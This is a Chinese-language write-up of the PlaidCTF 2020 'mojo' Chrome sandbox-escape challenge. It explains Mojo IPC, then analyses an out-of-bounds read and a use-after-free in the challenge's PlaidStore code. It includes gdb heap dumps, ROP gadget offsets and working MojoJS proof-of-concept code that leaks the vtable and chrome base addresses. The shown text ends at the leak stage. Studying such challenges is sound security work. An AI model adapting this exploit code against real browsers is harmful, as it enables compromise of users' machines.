plaidctf2020 mojo writeup

mojo

mojo术语

message pipe是一对endpoints,对应通信的两端,每个endpoint保存一个传入消息队列,并且在一端写入消息可以有效地传送到另外一端,因此message pipe是双向的。
一个mojom文件描述一组interfaces,其代表的是强类型的消息集合。
给定一个mojom接口和一条message pipe,可以将其中指定为Remote,用来发送该接口描述的信息,另一端指定为Recevier,用来接收接口的消息。
Receiver端必须和mojom接口的具体实现(implementation)相绑定,从而将收到的消息分发给对应的接口实现函数。

定义一个新的Frame Interface

假设我们想从render frame向其对应在browser进程里的RenderFrameHostImpl发送一个Ping消息,我们需要去定义一个mojom interface,创建一个pipe去使用这个interface,然后绑定好pipe的两端以发送和接收消息。

定义一个interface

第一步就是去创建一个.mojom文件

1
2
3
4
5
6
7
8
//src/example/public/mojom/ping_responder.mojom

module example.mojom

interface PingResponder {
// Receives a "Ping" and responds with a random integer.
Ping() => (int32 random);
};

然后我们在对应的位置创建一个BUILD.gn

1
2
3
4
5
# src/example/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")
mojom("mojom") {
sources = [ "ping_responder.mojom" ]
}

之后我们使用ninja指令来生成对应的头文件ninja -C out/asan_debug example/public/mojom

创建pipe

现在我们就可以创建一个消息管道来使用此接口。
作为一般规则并且在使用Mojo时为了方便起见,接口的Remote端通常是创建新的pipe的一方。

1
2
3
4
// src/third_party/blink/example/public/ping_responder.h
mojo::Remote<example::mojom::PingResponder> ping_responder;
mojo::PendingReceiver<example::mojom::PingResponder> receiver =
ping_responder.BindNewPipeAndPassReceiver();

在此例中ping_responder是Remote端,而PendingReceiver则是receiver的前身,它调用BindNewPipeAndPassReceiver方法来返回。
注意:PendingReceiver实际上没有做任何事情,它是一个惰性的单一消息管道端点持有者。它仅存在于使其端点在编译时更强类型化,表明该端点希望由相同接口类型的接收器绑定。

发送消息

最后我们可以通过Rmote调用我们的Ping()来发送消息

1
2
// src/third_party/blink/example/public/ping_responder.h
ping_responder->Ping(base::BindOnce(&OnPong));

如果我们希望接收响应,必须在调用OnPong之前保持pingable对象的活性。毕竟,pingable拥有其消息管道端点。如果它被销毁,那么端点也将被销毁,将没有东西来接收响应消息。
上述只是把渲染进程发送消息到浏览器进程,那么现在摆在面前的就是我们将接收器的消息传递给浏览器进程。

发送PendingReceiver给Browser

值得注意的是,PendingReceivers(以及一般的消息管道端点)只是可以自由发送到 mojom 消息的另一种对象类型。将 PendingReceiver 传递到某个地方的最常见方式是将其作为某个已连接接口上的方法参数传递。始终在渲染器的 RenderFrameImpl 和浏览器中对应的RenderFrameHostImpl之间保持连接的一个接口是BrowserInterfaceBroker。该接口是获取其他接口的工厂。它的GetInterface方法接受一个 GenericPendingReceiver,允许传递任意接口接收器。

1
2
3
interface BrowserInterfaceBroker {
GetInterface(mojo_base.mojom.GenericPendingReceiver receiver);
}

由于GenericPendingReceiver可以从任何PendingReceiver隐式构造,所以可以使用之前通过BindNewPipeAndPassReceiver创建的receiver来调用此方法:

1
2
RenderFrame* my_frame = GetMyFrame();
my_frame->GetBrowserInterfaceBroker().GetInterface(std::move(receiver));

这将传送PendingReceiver到browser进程里,并被BrowserInterfaceBroker接口的具体实现接收和处理。

实现interface

我们需要一个浏览器端实现我们的PingResponder接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "example/public/mojom/ping_responder.mojom.h"
// PingResponderImpl 类的定义,实现 example::mojom::PingResponder 接口
class PingResponderImpl : example::mojom::PingResponder {
public:
// 构造函数,接受一个待处理的 Mojo 接收器,并将其传递给 receiver_ 成员进行初始化
explicit PingResponderImpl(mojo::PendingReceiver<example::mojom::PingResponder> receiver)
: receiver_(this, std::move(receiver)) {}

// 重写 example::mojom::PingResponder 接口的 Ping 方法
void Ping(PingCallback callback) override {
// 通过调用 std::move(callback) 将回调函数传递给 Run 方法,响应随机的整数 4
std::move(callback).Run(4);
}

private:
mojo::Receiver<example::mojom::PingResponder> receiver_; // 用于处理接收到的 Mojo 消息
DISALLOW_COPY_AND_ASSIGN(PingResponderImpl); // 宏,禁止拷贝和赋值操作
};

RenderFrameHostImpl保存一个BrowserInterfaceBroker的实现,当此实现收到GetInterface方法调用时,它将调用先前为此特定接口注册的处理程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// render_frame_host_impl.h
class RenderFrameHostImpl {
// ... 其他成员和方法 ...

// 声明 GetPingResponder 方法,接受一个待处理的 Mojo 接收器
void GetPingResponder(mojo::PendingReceiver<example::mojom::PingResponder> receiver);

// ... 其他私有成员 ...

// PingResponderImpl 对象的唯一指针,用于处理 PingResponder 接口
std::unique_ptr<PingResponderImpl> ping_responder_;

// BrowserInterfaceBrokerImpl 对象,用于实现 BrowserInterfaceBroker 接口
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{this};

// 用于处理 BrowserInterfaceBroker 接口的 Mojo 接收器
mojo::Receiver<blink::mojom::BrowserInterfaceBroker> broker_receiver_{&broker_};
};

// render_frame_host_impl.cc
// 实现 GetPingResponder 方法,在这个方法中使用接收器构造 PingResponderImpl 对象
void RenderFrameHostImpl::GetPingResponder(
mojo::PendingReceiver<example::mojom::PingResponder> receiver) {
ping_responder_ = std::make_unique<PingResponderImpl>(std::move(receiver));
}

// browser_interface_binders.cc
// 实现 PopulateFrameBinders 方法,注册 PingResponder 的处理器
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
// ... 其他操作 ...

// 为 PingResponder 注册处理器,使用 RenderFrameHostImpl 的 GetPingResponder 方法
map->Add<example::mojom::PingResponder>(base::BindRepeating(
&RenderFrameHostImpl::GetPingResponder, base::Unretained(host)));
}

plaid mojo wp

下面我们来查看plaid 2020 mojo这道题目,这个题目是一个沙箱逃逸题目,非常适合新手入门

环境配置

由dockerfile中的命令可以得知,启动chrome的脚本为visit.sh。该脚本内容如下

1
2
#!/bin/bash
timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"

我们可以设置一个–user-data-dir来更加方便的使用Devtools,该参数最直观的作用就是执行js代码时,所有的console.log输出都会同步至终端。
因此我们实际启动命令为

1
./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS,MojoJSTest http://0.0.0.0:8000/test.html

之后我们开一个本地的端口,python3 -m http.server 8000,我们运行一下上面的命令来看一下结果,我们可以发现其输出了我们在文件里面执行的log命令。

调试

我们使用gdb脚本来进行调试

1
2
3
file ./chrome
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS,MojoJSTest http://0.0.0.0:8000/poc.html
set follow-fork-mode parent

之后运行如下命令即可进行调试

1
gdb -x debug.sh

漏洞分析

此题一共有两个漏洞,分别是越界读和一个UAF漏洞,其中UAF漏洞是利用的难点,也是本次分析的重点。我们首先来看其diff文件

1
2
3
4
5
6
7
8
9
10
11
module blink.mojom;

// This interface provides a data store
interface PlaidStore {

// Stores data in the data store
StoreData(string key, array<uint8> data);

// Gets data from the data store
GetData(string key, uint32 count) => (array<uint8> data);
};

上述文件是一个mojom文件,其会生成对应的接口头文件,之后我们便可以使用该头文件来实现自己的代码代码,我们来看一下其实现的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
namespace content {

class RenderFrameHost;

class PlaidStoreImpl : public blink::mojom::PlaidStore {
public:
explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

static void Create(
RenderFrameHost* render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

~PlaidStoreImpl() override;

// PlaidStore overrides:
void StoreData(
const std::string &key,
const std::vector<uint8_t> &data) override;

void GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) override;

private:
RenderFrameHost* render_frame_host_;
std::map<std::string, std::vector<uint8_t> > data_store_;
};

} // namespace content

对上述代码的具体实现则是如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "content/browser/plaidstore/plaidstore_impl.h"
#include "content/public/browser/render_frame_host.h"
#include "mojo/public/cpp/bindings/self_owned_receiver.h"

namespace content {

PlaidStoreImpl::PlaidStoreImpl(
RenderFrameHost *render_frame_host)
: render_frame_host_(render_frame_host) {}

PlaidStoreImpl::~PlaidStoreImpl() {}

void PlaidStoreImpl::StoreData(
const std::string &key,
const std::vector<uint8_t> &data) {
if (!render_frame_host_->IsRenderFrameLive()) {
return;
}
data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) {
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count); //oob
std::move(callback).Run(result);
}

// static
void PlaidStoreImpl::Create( //UAF
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
std::move(receiver));
}

} // namespace content

而我们的漏洞代码就处于上述的实现中,下面我们来分析越界读漏洞

oob

oob漏洞处于如下实现的代码中,下面的代码实现了一个写入数据和读取数据的函数,而在在函数PlaidStoreImpl::GetData中,程序并没有对传入的参数count进行判断,因此该函数可以越界读取,返回比实际存储范围更大的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void PlaidStoreImpl::StoreData(
const std::string &key,
const std::vector<uint8_t> &data) {
if (!render_frame_host_->IsRenderFrameLive()) {
return;
}
data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) {
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count); //oob
std::move(callback).Run(result);
}

UAF漏洞

当PlaidStoreImpl类执行构造函数时,该类的一个实例将会保存传入的render_frame_host原始指针。(注意保留的是原始指针而不是智能指针)

1
2
3
PlaidStoreImpl::PlaidStoreImpl(
RenderFrameHost *render_frame_host)
: render_frame_host_(render_frame_host) {}

而我们的PlaidStoreImpl::Create函数内部则会调用mojo::MakeSelfOwnedReceiver函数,该函数会将Mojo管道的一端的Receiver和PlaidStoreImpl实例相关联(注意传入的render_frame_host使用的 unique智能指针类型为PlaidStoreImpl)。这样当Mojo管道关闭或者发生错误的时候,receiver便可以将当前的PlaidStoreImpl实例释放掉,从而达到关联生命周期的目的

1
2
3
4
5
6
7
8
// static
void PlaidStoreImpl::Create(
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver)
{
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
std::move(receiver));
}

但是我们不能将render_frame_host所属的RenderFrameHost生命周期与PlaidStoreImpl周期相关联,这就可以导致我们在子进程释放掉render_frame_host之后,但是PlaidStoreImpl仍然存活

一个render进程中的RenderFrame对应browser进程中的RenderFrameHost。
当打开新的tab或iframe时,browser将会对应的创建RenderFrameHost对象
释放也是如此,当某个tab或iframe被释放时,对应的RenderFrameHost对象将会被释放。

这样我们就可以在保证Mojo Pipe不断开的前提下,将render_frame_host析构,之后就可以在PlaidStoreImpl类函数中继续使用render_frame_host,这样就可以达到UAF的目的

调试和利用过程

oob

我们可以先写一段oob的poc,看看我们究竟会泄露出来什么东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<!-- 调用MojoJs接口时一定要把这些js包含在html中-->
<script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
<script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
function dec2hex(dec) {
return "0x" + dec.toString(16);
}
function bytes2WORD(bytes) {
var value = 0;
for (let i = 0; i < 8; i++) {
value = value * 0x100 + bytes[7 - i];
}
return value;
}
function sucess(message) {
console.log('[+] ' + message);
}
function oob(){
console.log("oob test");
var pipe = Mojo.createMessagePipe();
//使PlaidStore和接口绑定
Mojo.bindInterface(
blink.mojom.PlaidStore.name,
pipe.handle1,
"context",
true,
);
var plaidstorePtr = new blink.mojom.PlaidStorePtr(pipe.handle0);
plaidstorePtr.storeData("aaaa",new Array(0x10).fill(0x31));
plaidstorePtr.getData("aaaa",0x18).then (res=>{
console.log(dec2hex(bytes2WORD(res.data.slice(0x10, 0x18))));
})
}
oob();
</script>

</html>

之后我们运行,运行结果如下图所示,我们可以发现其打印出来了一个很像地址的东西,下面我们来调试一下看一下这个东西到底是什么

我们启动gdb之后,首先输入如下命令来查看函数

1
2
3
4
5
6
7
8
9
10
11
pwndbg> info function PlaidStoreImpl
All functions matching regular expression "PlaidStoreImpl":

Non-debugging symbols:
0x00005555591ac170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x00005555591ac170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x00005555591ac190 content::PlaidStoreImpl::~PlaidStoreImpl()
0x00005555591ac1c0 content::PlaidStoreImpl::StoreData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)
0x00005555591ac2b0 content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
0x00005555591ac490 content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
0x00005555591ac550 base::WeakPtr<mojo::StrongBinding<blink::mojom::PlaidStore> > mojo::MakeSelfOwnedReceiver<blink::mojom::PlaidStore, content::PlaidStoreImpl>(std::__1::unique_ptr<content::PlaidStoreImpl, std::__1::default_delete<content::PlaidStoreImpl> >, mojo::PendingReceiver<blink::mojom::PlaidStore>, scoped_refptr<base::SequencedTaskRunner>)

之后我们将断点下在 content::PlaidStoreImpl::Create函数,然后运行r来进行调试,然后运行单步调试,我们就可以发现PlaidStore的大小为0x28,为什么是0x28我们可以看一下下面这个图片

我们可以发现在mov edi, 0x28这条指令的下面是operator new函数,那么0x28就是我们传入的内存大小,因此我们可以判断其大小为0x28。之后我们继续往下运行,将operator指令运行完之后,返回的$rax就是我们的PlaidStore的地址,我们使用set命令来保存一下rax的值,然后执行fini之后查看plaid实例的布局

1
2
3
4
pwndbg> x/5gx 27613089091824
0x191d2c5dd0f0: 0x000055555f50a7a0 // vt_table 0x0000191d2c544400 // render_frame_host
0x191d2c5dd100: 0x0000191d2c5dd108 //(map start)data_store 0x0000000000000000
0x191d2c5dd110: 0x0000000000000000 //map end

然后我们执行到storeData结束,查看一下datastore布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/30gx 0x0000191d2c60ac80
0x191d2c60ac80: 0x0000000000000000 0x0000000000000000
0x191d2c60ac90: 0x0000191d2c5dd108 0x000055555824ff01
0x191d2c60aca0: 0x0000000061616161 --> key 0x0000000000000000
0x191d2c60acb0: 0x0400000000000000 0x0000191d2c6116b0 --> value1
0x191d2c60acc0: 0x0000191d2c6116c0 0x0000191d2c6116c0
0x191d2c60acd0: 0xffffe6e0790d9942 0xffffe6e079359582
0x191d2c60ace0: 0x4641384341313438 0x3131413232354344
0x191d2c60acf0: 0x3441453636414345 0x4237443438324444
0x191d2c60ad00: 0x3439304234393133 0x4434423336343438
0x191d2c60ad10: 0x0000191d2c616500 0x0000000000000001
pwndbg> x/20gx 0x0000191d2c6116b0
0x191d2c6116b0: 0x3131313131313131 --> 11111 0x3131313131313131
0x191d2c6116c0: 0xffffe6e079342862 0xffffe6e079342812
0x191d2c6116d0: 0xffffe6e079342802 0xfffffffd55553ec2
0x191d2c6116e0: 0xffffe60000000001 0xfffffffd55553ec2
0x191d2c6116f0: 0xffffe60000000002 0xfffffffd55553ec2
0x191d2c611700: 0xffffe60000000001 0xfffffffd55553ec2

为了接着往下查看我们需要先简单了解一下chrome中map的结构以及布局,其使用的std::map的实现如下

1
2
3
4
5
6
7
8
9
10
template <class _Key, class _CP, class _Compare,
bool = is_empty<_Compare>::value && !__libcpp_is_final<_Compare>::value>
class __map_value_compare
: private _Compare
{
private:
...
typedef __tree<__value_type, __vc, __allocator_type> __base;
__base __tree_;
}

其是我们可以发现里面就一个成员_tree,其实这就是红黑树(rb tree)的实现,map其实是rb tree的一层wrapper,实际的插入删除等,都是在__tree上完成的。
所以我们直接看__tree的内存布局即可。

1
2
3
4
5
6
7
template <class _Tp, class _Compare, class _Allocator>
class __tree
{
private:
__iter_pointer __begin_node_;
__compressed_pair<__end_node_t, __node_allocator> __pair1_;
__compressed_pair<size_type, value_compare> __pair3_;

其有三个成员变量,一个是指向起始tree_node的指针,其他两个字段用不到,也就不解释了。
那么我们现在就知道了,对于如下impl,其偏移0x10位置处就是保持着map的起始节点,而map是一颗rb tree,所以从这个节点我们就可以索引到其他所有插入的节点了。

1
2
3
4
pwndbg> x/5gx $ps_rax
0x191d2c5dd0f0: 0x000055555f50a7a0 0x0000191d2c544400
0x191d2c5dd100: 0x0000191d2c60ac80 0x0000191d2c60ac80
0x191d2c5dd110: 0x0000000000000001

下面我们来看一下tree_node的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
template <class _Pointer> class __tree_end_node;
template <class _VoidPtr> class __tree_node_base;
template <class _Tp, class _VoidPtr> class __tree_node;
...
// node

template <class _Pointer>
class __tree_end_node
{
public:
typedef _Pointer pointer;
pointer __left_;

_LIBCPP_INLINE_VISIBILITY
__tree_end_node() _NOEXCEPT : __left_() {}
};

template <class _VoidPtr>
class __tree_node_base
: public __tree_node_base_types<_VoidPtr>::__end_node_type
{
typedef __tree_node_base_types<_VoidPtr> _NodeBaseTypes;

public:
typedef typename _NodeBaseTypes::__node_base_pointer pointer;
typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;

pointer __right_;
__parent_pointer __parent_;
bool __is_black_;

_LIBCPP_INLINE_VISIBILITY
pointer __parent_unsafe() const { return static_cast<pointer>(__parent_);}

_LIBCPP_INLINE_VISIBILITY
void __set_parent(pointer __p) {
__parent_ = static_cast<__parent_pointer>(__p);
}

private:
~__tree_node_base() _LIBCPP_EQUAL_DELETE;
__tree_node_base(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
__tree_node_base& operator=(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
};

template <class _Tp, class _VoidPtr>
class __tree_node
: public __tree_node_base<_VoidPtr>
{
public:
typedef _Tp __node_value_type;

__node_value_type __value_;

private:
~__tree_node() _LIBCPP_EQUAL_DELETE;
__tree_node(__tree_node const&) _LIBCPP_EQUAL_DELETE;
__tree_node& operator=(__tree_node const&) _LIBCPP_EQUAL_DELETE;
};

我们可以发现其中一共有五个成员变量,前四个大小是固定的,其整体大小依据__node_value_type的大小来决定,这个node_value_type实际上就是key-value这样一个pair对,在这里就是pair<string,vector>

1
2
3
4
5
6
7
pwndbg> x/30gx 0x0000191d2c60ac80
0x191d2c60ac80: 0x0000000000000000 --> left 0x0000000000000000 --> right
0x191d2c60ac90: 0x0000191d2c5dd108 --> parent 0x000055555824ff01 -->最后的01就是is_black
0x191d2c60aca0: 0x0000000061616161 --> string start 0x0000000000000000
0x191d2c60acb0: 0x0400000000000000 --> string end 0x0000191d2c6116b0 -->vector
0x191d2c60acc0: 0x0000191d2c6116c0 0x0000191d2c6116c0
0x191d2c60acd0: 0xffffe6e0790d9942 0xffffe6e079359582

接下来我们查看vector

1
2
3
4
5
6
7
pwndbg> x/20gx 0x0000191d2c6116b0
0x191d2c6116b0: 0x3131313131313131 0x3131313131313131
0x191d2c6116c0: 0xffffe6e079342862 0xffffe6e079342812
0x191d2c6116d0: 0xffffe6e079342802 0xfffffffd55553ec2
0x191d2c6116e0: 0xffffe60000000001 0xfffffffd55553ec2
0x191d2c6116f0: 0xffffe60000000002 0xfffffffd55553ec2
0x191d2c611700: 0xffffe60000000001 0xfffffffd55553ec2

我们可以简单看一下vector的代码就可以知道vector是什么样子的了,首先是vector中的元素,然后就是其起始和结束地址

1
2
3
4
class __vector_base
pointer __begin_;
pointer __end_;
__compressed_pair<pointer, allocator_type> __end_cap_;

而此时我们的oob,也就是从vector的起始地址开始,可以越界读到后面的任意地址的值。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> vmmap 0x191d2c5dd0f0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x191d2c28a000 0x191d2c28b000 ---p 1000 0 [anon_191d2c28a]
► 0x191d2c28b000 0x191d2c68a000 rw-p 3ff000 0 [anon_191d2c28b] +0x3520f0
0x555555554000 0x55555824b000 r--p 2cf7000 0 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome
pwndbg> vmmap 0x0000191d2c6116b0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x191d2c28a000 0x191d2c28b000 ---p 1000 0 [anon_191d2c28a]
► 0x191d2c28b000 0x191d2c68a000 rw-p 3ff000 0 [anon_191d2c28b] +0x3866b0
0x555555554000 0x55555824b000 r--p 2cf7000 0 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome

由于impl和vector在同一段上,其应该都是通过partitionAlloc动态分配出来的,所以我们可以大量分配impl,从而使impl和vector接近线性交替存放,并最终leak出来,这里我们的判断依据是虚表地址是页对齐的,也就是最后的0x7a0是不变的,从而找到虚表地址。
因为虚表地址在chrome的只读数据段中(.rodata)上,所以可以通过减去偏移找到chrome的基地址。
这个偏移的计算相当简单,我一般直接vmmap看一下加载基地址,然后减去即可找到偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> vmmap 0x000055555f50a7a0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55555824b000 0x55555f455000 r-xp 720a000 2cf6000 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome
► 0x55555f455000 0x55555faf2000 r--p 69d000 9eff000 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome +0xb57a0
0x55555faf2000 0x55555fb4e000 rw-p 5c000 a59b000 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x191d2c28a000 0x191d2c28b000 ---p 1000 0 [anon_191d2c28a]
0x191d2c28b000 0x191d2c68a000 rw-p 3ff000 0 [anon_191d2c28b]
0x555555554000 0x55555824b000 r--p 2cf7000 0 /media/lanan/76286875BA4E14EF/Browser-pwn/Vulnerability analyze/Plaid-CTF-2020-mojo/mojo/chrome
pwndbg> p/x 0x000055555f50a7a0-0x555555554000
$3 = 0x9fb67a0

有了这个之后我们需要寻找gadget,这里我们使用Ropgadget来寻找

1
2
3
4
5
6
7
8
ROPgadget --binary=./chrome > gadget.txt
---
//0x000000000880dee8 : xchg rsp, rax ; clc ; pop rbp ; ret
//0x0000000002e4630f : pop rdi ; ret
//0x0000000002d278d2 : pop rsi ; ret
//0x0000000002e9998e : pop rdx ; ret
//0x0000000002e651dd : pop rax ; ret
//0x0000000002ef528d : syscall

之后我们就可以写出来泄露地址的poc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

<html>
<!-- 调用MojoJs接口时一定要把这些js包含在html中-->
<script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
<script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
function dec2hex(dec) {
return "0x" + dec.toString(16);
}
function bytes2WORD(bytes) {
var value = 0;
for (let i = 0; i < 8; i++) {
value = value * 0x100 + bytes[7 - i];
}
return value;
}
function sucess(message) {
console.log('[+] ' + message);
}

//OOB
async function oob() {
console.log("OOB test");
var ps_list = [];
var try_size = 100;
var vt_addr = 0;
var render_frame_host_addr = 0;
var code_base = 0;
for (let i = 0; i < try_size; i++) {
var pipe = Mojo.createMessagePipe();
//使PlaidStore与接口绑定
Mojo.bindInterface(
blink.mojom.PlaidStore.name,
pipe.handle1, "context", true
);
var plaidstorePtr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await plaidstorePtr.storeData("aaaa",new Array(0x30).fill(0x31)); // key => <vector>data
ps_list.push(plaidstorePtr);
}
for (let i = 0; i < try_size; i++){
if(vt_addr != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = await tmp_ps_ptr.getData("aaaa",0x100); // 这里是为了防止读到稀奇古怪的地址
let oob_data = r.data;
for(let i = 0x30; i< 0x100; i++){
let tmp_oob_data = bytes2WORD(oob_data.slice(i,i+8));
if(dec2hex(tmp_oob_data & 0xfff) == "0x7a0"){
vt_addr = tmp_oob_data;
console.log("vt_addr " + dec2hex(vt_addr));
code_base = vt_addr - 0x9fb67a0;
render_frame_host_addr = bytes2WORD(oob_data.slice(i+8, i+16));
break;
}
if(vt_addr != 0){
break;
}
}
}
if(vt_addr == 0){
throw("Error!");
}
var chrome_text_addr = code_base;
console.log("chrome_test_addr = ", dec2hex(chrome_text_addr));
var pop_rbp_ret = chrome_text_addr + 0x880dee8;
console.log("pop_rbp_ret = ", dec2hex(pop_rbp_ret));
var pop_rdi_ret = chrome_text_addr + 0x2e4630f;
console.log("pop_rdi_ret = ", dec2hex(pop_rdi_ret));
var pop_rsi_ret = chrome_text_addr + 0x2d278d2;
console.log("pop_rsi_ret = ", dec2hex(pop_rsi_ret));
var pop_rdx_ret = chrome_text_addr + 0x2e9998e;
console.log("pop_rdx_ret = ", dec2hex(pop_rdx_ret));
var pop_rax_ret = chrome_text_addr + 0x2e651dd;
console.log("pop_rax_ret = ", dec2hex(pop_rax_ret));
var syscall = chrome_text_addr + 0x2ef528d;
console.log("syscall = ", dec2hex(syscall));
}
oob();
</script>

</html>

泄露出来地址如下

1
2
3
4
5
6
7
8
"vt_addr 0x557fa91177a0"
"chrome_test_addr = 0x557f9f161000"
"pop_rbp_ret = 0x557fa796eee8"
"pop_rdi_ret = 0x557fa1fa730f"
"pop_rsi_ret = 0x557fa1e888d2"
"pop_rdx_ret = 0x557fa1ffa98e"
"pop_rax_ret = 0x557fa1fc61dd"
"syscall = 0x557fa205628d"